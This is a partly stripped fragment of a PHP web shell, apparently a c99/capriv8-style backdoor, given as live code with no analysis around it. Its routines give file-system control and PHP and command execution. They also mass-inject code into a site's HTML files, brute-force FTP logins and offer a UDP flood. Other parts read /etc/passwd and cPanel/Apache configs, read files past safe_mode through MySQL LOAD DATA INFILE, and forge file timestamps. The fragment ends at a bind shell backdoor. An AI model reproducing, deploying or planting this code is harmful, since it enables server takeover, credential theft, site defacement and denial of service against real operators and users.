\n";
if ($x == "") { $x = $dspact = "ls"; }
if ($x == "phpini" ) { get_phpini(); }
if ($x == "sql") {
$sql_surl = $surl."x=sql";
if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
$sql_surl .= "&";
echo "".
"";
if (!$sql_sock) {
echo "If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) ";
echo "Please, fill the form: ">Home ".htmlspecialchars($sql_db)." ]---+ ".htmlspecialchars($row[0])." "; mysql_free_result($count); $c++;}
if (!$c) {echo "No tables found in database.";}
}
}
else {
?>Home ";
$diplay = TRUE;
if ($sql_db) {
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").".$item[0]." ] ";}}
echo " Error: Create new table:
Dump DB:
";}
if ($sql_x == "newtbl") {
echo "";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
else {
fwrite($fp,$ret);
fclose($fp);
echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
}
}
else {echo "Dump: nothing to do! ";}
}
}
if ($diplay) {
if (!empty($sql_tbl)) {
if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage = 10;}
$numpages = $count_row[0]/$perpage;
$e = explode(" ",$sql_order);
if (count($e) == 2) {
if ($e[0] == "d") {$asc_desc = "DESC";}
else {$asc_desc = "ASC";}
$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
}
else {$v = "";}
$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
$result = mysql_query($query) or print(mysql_smarterror());
echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) [ Structure ] ";
echo "[ Browse ] ";
echo "[ Dump ] ";
echo "[ Insert ] ";
if ($sql_tbl_x == "structure") {echo "Coming sooon! ";}
if ($sql_tbl_x == "insert") {
if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio)) { } //Not Ready
else {
echo "Inserting row into table: ";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! Server-status variables: Name Value ".$row[0]." ".$row[1]."
Server variables: Name Value ".$row[0]." ".$row[1]."
";
mysql_free_result($result);
}
if ($sql_x == "processes") {
if (!empty($kill)) {
$query = "KILL ".$kill.";";
$result = mysql_query($query, $sql_sock);
echo "Process #".$kill." was killed. ";
}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "Processes: ID USER HOST DB COMMAND TIME STATE INFO Action ".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill
";
mysql_free_result($result);
}
if ($sql_x == "getfile")
{
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
if ($select)
{
$created = FALSE;
mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
$result = mysql_query("SELECT * FROM tmp_file;");
if (!$result) {echo "Error in reading file (permision denied)! ";}
else
{
for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!File \"".$sql_getfile."\":
";
if ($sql_sock) {
$affected = @mysql_affected_rows($sql_sock);
if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
echo " Affected rows : ".$affected."
";
}
if ($x == 'massbrowsersploit') {
?>
Mass Code Injection: failed to inject '.$injectj00.' ';
}
}
foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.' was injectedfailed to inject '.$injectj00.' ';
}
}
foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.' was injectedfailed to inject '.$injectj00.' ';
}
}
} else { //end if inputted dir is real -- if not, show an ugly red error
echo ''.$_GET['pathtomass'].' is not available! Mass Code Injection: failed to inject '.$injectj00.' ';
}
}
} else { //end if inputted dir is real -- if not, show an ugly red error
echo ''.$_GET['pathtomass'].' is not available! Are you sure you would like to search for cPanel accounts on this website/server?Yes || No ';
}
if ($x == 'fi'){
?>
Install Local RFI/LFI Scanner fi.pl was created in '.htmlentities($_GET['path']).' ';
chmod($_GET['path'].'/fi.pl', 0777);
echo 'Directory is not writable! Install PHP Based Proxy proxy.php was created in '.htmlentities($_GET['path']).' ';
chmod($_GET['path'].'/proxy.php', 0777);
}else{
echo 'Directory is not writable! MailerPort Scanner open UDP Flood UDP Flood ";
if ($win) {echo "Couldn't run on Windows!";}
else {
function caftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
else {$TRUE = TRUE;}
if ($TRUE) {
$sock = @ftp_connect($host,$port,$timeout);
if (@ftp_login($sock,$login,$pass)) {
echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" Done! ".$success." Logging to file: Logging to e-mail:
";
}
}
if ($x == "d") {
if (!is_dir($d)) { echo "$d is a not a Directory! Directory information: ";
if (!$win) {
echo "Owner/Group ";
$ow = posix_getpwuid(fileowner($d));
$gr = posix_getgrgid(filegroup($d));
$row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
}
echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
}
}
if ($x == "phpinfo") {@ob_clean(); phpinfo(); capriv8exit();}
if ($x == "security") {
echo "".
"".
"Open Base Dir ".$hopenbasedir." Password File ";
if (!$win) {
if ($nixpasswd) {
if ($nixpasswd == 1) {$nixpasswd = 0;}
echo "*nix /etc/passwd:".$uid["dir"]." ";
echo join(":",$uid)."Get /etc/passwd You can't crack Windows passwords(".$v.")
Download Config Files ";
if (!$win) {
$v = array(
array("User Domains","/etc/userdomains"),
array("Cpanel Config","/var/cpanel/accounting.log"),
array("Apache Config","/usr/local/apache/conf/httpd.conf"),
array("Apache Config","/etc/httpd.conf"),
array("Syslog Config","/etc/syslog.conf"),
array("Message of The Day","/etc/motd"),
array("Hosts","/etc/hosts")
);
$sep = "/";
}
else {
$windir = $_SERVER["WINDIR"];
$etcdir = $windir . "\system32\drivers\etc\\";
$v = array(
array("Hosts",$etcdir."hosts"),
array("Local Network Map",$etcdir."networks"),
array("LM Hosts",$etcdir."lmhosts.sam"),
);
$sep = "\\";
}
foreach ($v as $sec_arr) {
$sec_f = substr(strrchr($sec_arr[1], $sep), 1);
$sec_d = rtrim($sec_arr[1],$sec_f);
$sec_full = $sec_d.$sec_f;
$sec_d = rtrim($sec_d,$sep);
if (file_get_contents($sec_full)) {
echo " [ ".$sec_arr[0]." ".$name." ".wordwrap($value,100)."
\n";
}
if ($x == "mkfile") {
if ($mkfile != $d) {
if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object already exists!";}
elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied!";}
else {$x = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else {$x = $dspact = "ls";}
}
if ($x == "encoder") {
echo "".
"";
}
if ($x == "fsbuff") {
$arr_copy = $sess_data["copy"];
$arr_cut = $sess_data["cut"];
$arr = array_merge($arr_copy,$arr_cut);
if (count($arr) == 0) {echo "Buffer is empty! Can't delete ".__FILE__."! Error: incorrect confirmation! ";}
$rnd = rand(0,9).rand(0,9).rand(0,9);
echo "";
}
}
if ($x == "search") {
echo "";
if (empty($search_in)) {$search_in = $d;}
if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
if (empty($search_text_wwo)) {$search_text_regexp = 0;}
if (!empty($submit)) {
$found = array();
$found_d = 0;
$found_f = 0;
$search_i_f = 0;
$search_i_d = 0;
$a = array(
"name"=>$search_name,
"name_regexp"=>$search_name_regexp,
"text"=>$search_text,
"text_regexp"=>$search_text_regxp,
"text_wwo"=>$search_text_wwo,
"text_cs"=>$search_text_cs,
"text_not"=>$search_text_not
);
$searchtime = getmicrotime();
$in = array_unique(explode(";",$search_in));
foreach($in as $v) {cafsearch($v);}
$searchtime = round(getmicrotime()-$searchtime,4);
if (count($found) == 0) {echo "No files found!";}
else {
$ls_arr = $found;
$disp_fullpath = TRUE;
$x = "ls";
}
}
echo "";
if ($x == "ls") {
$dspact = $x;
echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).".
"Change file-mode with error: can't get current value.";}
else {
$form = TRUE;
if ($chmod_submit)
{
$octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
if (chmod($d.$f,$octet)) {$x = "ls"; $form = FALSE; $err = "";}
else {$err = "Can't chmod to ".$octet.".";}
}
if ($form)
{
$perms = parse_perms($mode);
echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") Error: ".$err:"")."";
}
}
}
if ($x == "upload") {
$uploadmess = "";
$uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
if (empty($uploadpath)) {$uploadpath = $d;}
elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
if (!empty($submit)) {
global $_FILES;
$uploadfile = $_FILES["uploadfile"];
if (!empty($uploadfile["tmp_name"])) {
if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
else {$destin = $userfilename;}
if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!Incorrect URL! ";}
else {
$st = getmicrotime();
$content = @file_get_contents($uploadurl);
$dt = round(getmicrotime()-$st,4);
if (!$content) {$uploadmess .= "Can't download file!";}
else {
if ($filestealth) {$stat = stat($uploadpath.$destin);}
$fp = fopen($uploadpath.$destin,"w");
if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!".$uploadmess." ";
$x = "ls";
}
else {
echo "";
}
}
if ($x == "delete") {
$delerr = "";
foreach ($actbox as $v) {
$result = FALSE;
$result = fs_rmobj($v);
if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."Deleting with errors: Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE. Pasting with errors: Archivation errors: Pasting with errors: ".htmlspecialchars($ret)." Command Execution ";
if (empty($cmd_txt)) {$cmd_txt = TRUE;}
}
}
if ($x == "ls") {
if (count($ls_arr) > 0) { $list = $ls_arr; }
else {
$list = array();
if ($h = @opendir($d)) {
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
}
}
if (count($list) == 0) { echo "Can't open folder (".htmlspecialchars($d).")!
";}
else {
$objects = array();
$vd = "f";
if ($vd == "f") {
$objects["head"] = array();
$objects["folders"] = array();
$objects["links"] = array();
$objects["files"] = array();
foreach ($list as $v) {
$o = basename($v);
$row = array();
if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
elseif (is_dir($v)) {
if (is_link($v)) {$type = "LINK";}
else {$type = "DIR";}
$row[] = $v;
$row[] = $type;
}
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
$row[] = filemtime($v);
if (!$win) {
$ow = posix_getpwuid(fileowner($v));
$gr = posix_getgrgid(filegroup($v));
$row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
}
$row[] = fileperms($v);
if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
elseif (is_link($v)) {$objects["links"][] = $row;}
elseif (is_dir($v)) {$objects["folders"][] = $row;}
elseif (is_file($v)) {$objects["files"][] = $row;}
$i++;
}
$row = array();
$row[] = "Name ";
$row[] = "Size ";
$row[] = "Date Modified ";
if (!$win) {$row[] = "Owner/Group ";}
$row[] = "Perms ";
$row[] = "Action ";
$parsesort = parsesort($sort);
$sort = $parsesort[0].$parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != "a") {$parsesort[1] = "d";}
$y = " ";
$y .= " ";
$row[$k] .= $y;
for($i=0;$i".$row[$i]."";}
}
$v = $parsesort[0];
usort($objects["folders"], "tabsort");
usort($objects["links"], "tabsort");
usort($objects["files"], "tabsort");
if ($parsesort[1] == "d") {
$objects["folders"] = array_reverse($objects["folders"]);
$objects["files"] = array_reverse($objects["files"]);
}
$objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
$tab = array();
$tab["cols"] = array($row);
$tab["head"] = array();
$tab["folders"] = array();
$tab["links"] = array();
$tab["files"] = array();
$i = 0;
foreach ($objects as $a) {
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath,60);
if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
foreach ($regxp_highlight as $r) {
if (ereg($r[0],$o)) {
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; capriv8exit();}
else {
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
$disppath = $r[2].$disppath.$r[3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == ".") {
$row[] = "".view_perms_color($v)." ";
$fsfunc = $phpfsysfunc;
if ($fsfunc=="copy") {
if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
else { echo "
Success! $arg1 copied to $arg2\n"; }
}
elseif ($fsfunc=="rename") {
if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
else { echo "
Success! $arg1 renamed/moved to $arg2\n"; }
}
elseif ($fsfunc=="chmod") {
if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
else { echo "
Perm for $arg1 changed to $arg2! \n"; }
}
elseif ($fsfunc=="read") {
$hasil = @file_get_contents($arg1);
echo "
Filename: $arg1
";
echo "
\n";
}
elseif ($fsfunc=="write") {
if(@file_put_contents($d.$arg1,$arg2)) {
echo "
Saved! ".$d.$arg1;
}
else { echo "
Couldn't write to $arg1!
"; }
}
elseif ($fsfunc=="downloadbin") {
$handle = fopen($arg1, "rb");
$contents = '';
while (!feof($handle)) {
$contents .= fread($handle, 8192);
}
$r = @fopen($d.$arg2,'w');
if (fwrite($r,$contents)) { echo "
Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
else { echo "
Couldn't write to ".$d.$arg2."!
"; }
fclose($r);
fclose($handle);
}
elseif ($fsfunc=="download") {
$text = implode('', file($arg1));
if ($text) {
$r = @fopen($d.$arg2,'w');
if (fwrite($r,$text)) { echo "
Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
else { echo "
Couldn't write to ".$d.$arg2."!
"; }
fclose($r);
}
else { echo "
Couldn't download from $arg1!
";}
}
elseif ($fsfunc=='mkdir') {
$thedir = $d.$arg1;
if ($thedir != $d) {
if (file_exists($thedir)) { echo "
Already exists: ".htmlspecialchars($thedir); }
elseif (!mkdir($thedir)) { echo "
Access denied: ".htmlspecialchars($thedir); }
else { echo "
Dir created: ".htmlspecialchars($thedir);}
}
else { echo "Couldn't create current dir:
$thedir "; }
}
elseif ($fsfunc=='fwritabledir') {
function recurse_dir($dir,$max_dir) {
global $dir_count;
$dir_count++;
if( $cdir = @dir($dir) ) {
while( $entry = $cdir-> read() ) {
if( $entry != '.' && $entry != '..' ) {
if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
if ($dir_count > $max_dir) { return; }
echo "[".$dir_count."] ".$dir.$entry."\n";
recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
}
}
}
$cdir->close();
}
}
if (!$arg1) { $arg1 = $d; }
if (!$arg2) { $arg2 = 10; }
echo "
Writable directories (Max: $arg2) in: $arg1
";
echo "
";
recurse_dir($arg1,$arg2);
echo " ";
$total = $dir_count - 1;
echo "
Founds: ".$total." of
Max $arg2";
}
else {
if (!$arg1) { echo "
No operation! Please fill parameter [A]!
\n"; }
else {
if ($hasil = $fsfunc($arg1)) {
echo "
Result of $fsfunc $arg1: ";
if (!is_array($hasil)) { echo "$hasil\n"; }
else {
echo "
";
foreach ($hasil as $v) { echo $v."\n"; }
echo " ";
}
}
else { echo "
$fsfunc $arg1 failed!
\n"; }
}
}
echo "
".$head[$i]." ";}
}
$prcs = array();
foreach ($stack as $line) {
if (!empty($line)) {
echo "";
$line = explode(" ",$line);
$line[10] = join(" ",array_slice($line,10));
$line = array_slice($line,0,11);
if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
$line[] = "KILL ";
}
}
}
else {
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
$ret = convert_cyr_string($ret,"d","w");
$stack = explode("\n",$ret);
unset($stack[0],$stack[2]);
$stack = array_values($stack);
$stack[0]=str_replace("Image Name","ImageName",$stack[0]);
$stack[0]=str_replace("Session Name","SessionName",$stack[0]);
$stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
$head = explode(" ",$stack[0]);
$stack = array_slice($stack,1);
$head = array_values($head);
if ($parsesort[1] != "a") { $y = "".trim($head[$i])." "; }
}
$prcs = array();
unset($stack[0]);
foreach ($stack as $line) {
if (!empty($line)) {
$line = explode(" ",$line);
$line[4] = str_replace(".","",$line[4]);
$line[4] = intval($line[4]) * 1024;
unset($line[5]);
$prcs[] = $line;
}
}
}
$head[$k] = "".$head[$k]." ".$y;
$v = $processes_sort[0];
usort($prcs,"tabsort");
if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$prcs);
echo "";
foreach($tab as $i=>$k) {
echo "";
foreach($k as $j=>$v) {
if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
echo "".$v." ";
}
echo " ";
}
echo "
";
}
}
if ($x == "eval") {
if (!empty($eval)) {
echo "Result of execution this PHP-code:PHP-code Execution (Use without PHP Braces!) "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
echo "";
}
if ($x == "f") {
echo "";
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
if (file_exists($d.$f)) {echo "
Permision denied (".htmlspecialchars($d.$f).")! ";}
else {echo "
File does not exists (".htmlspecialchars($d.$f).")! Create ";}
}
else {
$r = @file_get_contents($d.$f);
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
if (empty($ft)) {$ft = $rft;}
$arr = array(
array("
","info"),
array("
","html"),
array("
","txt"),
array("Code","code"),
array("Session","phpsess"),
array("
","exe"),
array("SDB","sdb"),
array("
","img"),
array("
","ini"),
array("
","download"),
array("
","notepad"),
array("
","edit")
);
echo "
Viewing file: Select action/file-type:
";
foreach($arr as $t) {
if ($t[1] == $rft) {echo "
".$t[0]." ";}
elseif ($t[1] == $ft) {echo "
".$t[0]." ";}
else {echo "
".$t[0]." ";}
echo " (
+ ) |";
}
echo "
";
if ($ft == "info") {
echo "
Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." Owner/Group ";
$ow = posix_getpwuid(fileowner($d.$f));
$gr = posix_getgrgid(filegroup($d.$f));
echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
}
echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
$fi = fopen($d.$f,"rb");
if ($fi) {
if ($fullhexdump) {echo "
FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
else {echo "
HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
$n = 0;
$a0 = "00000000
";
$a1 = "";
$a2 = "";
for ($i=0; $i
";}
$a1 .= "".
"".$a0." ".
"".$a1." ".
"".$a2." ".
"
Base64 Encode Base64 Encode + Chunk Base64 Encode + Chunk + Quotes Base64 Decode";
if (base64_encode($encoded) != $text) {echo " (failed)";}
echo " HEXDUMP: [Full ] [Preview ]Base64:
[Encode ]
[+chunk ]
[+chunk+quotes ]
[Decode ]
";
}
elseif ($ft == "html") {
if ($white) {@ob_clean();}
echo $r;
if ($white) {capriv8exit();}
}
elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
elseif ($ft == "phpsess") {
echo "";
$v = explode("|",$r);
echo $v[0]." ";
}
elseif ($ft == "exe") {
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("%f%",$f,$rft);
echo "Execute file: ";
}
elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
elseif ($ft == "code") {
if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
$arr = explode("\n",$r);
if (count($arr == 18)) {
include($d.$f);
echo "phpBB configuration is detected in this file!Connect to DB ";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {capriv8exit();}
echo "
";
}
elseif ($ft == "download") {
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($d.$f));
header("Content-disposition: attachment; filename=\"".$f."\";");
echo $r;
exit;
}
elseif ($ft == "notepad") {
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename=\"".$f.".txt\";");
echo($r);
exit;
}
elseif ($ft == "img") {
$inf = getimagesize($d.$f);
if (!$white) {
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo "Size: ";
$sizes = array("100","50","20");
foreach ($sizes as $v) {
echo "";
if ($imgsize != $v ) {echo $v;}
else {echo "".$v." ";}
echo " ";
}
echo "Can't write to file! ";}
else
{
echo "Saved! ";
fwrite($fp,$edit_text);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode("\r\n",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
echo "";
}
elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. Unknown extension (".$ext."), please, select type manually. ";
foreach ($k as $u) {echo $u.": ";
}
exit;
}
if ($x == "about") {
echo " www.fx0.name ";
}
if ($x == "shbd"){
$msg = $_POST['backcconnmsg'];
$emsg = $_POST['backcconnmsge'];
echo("Bind Shell Backdoor: 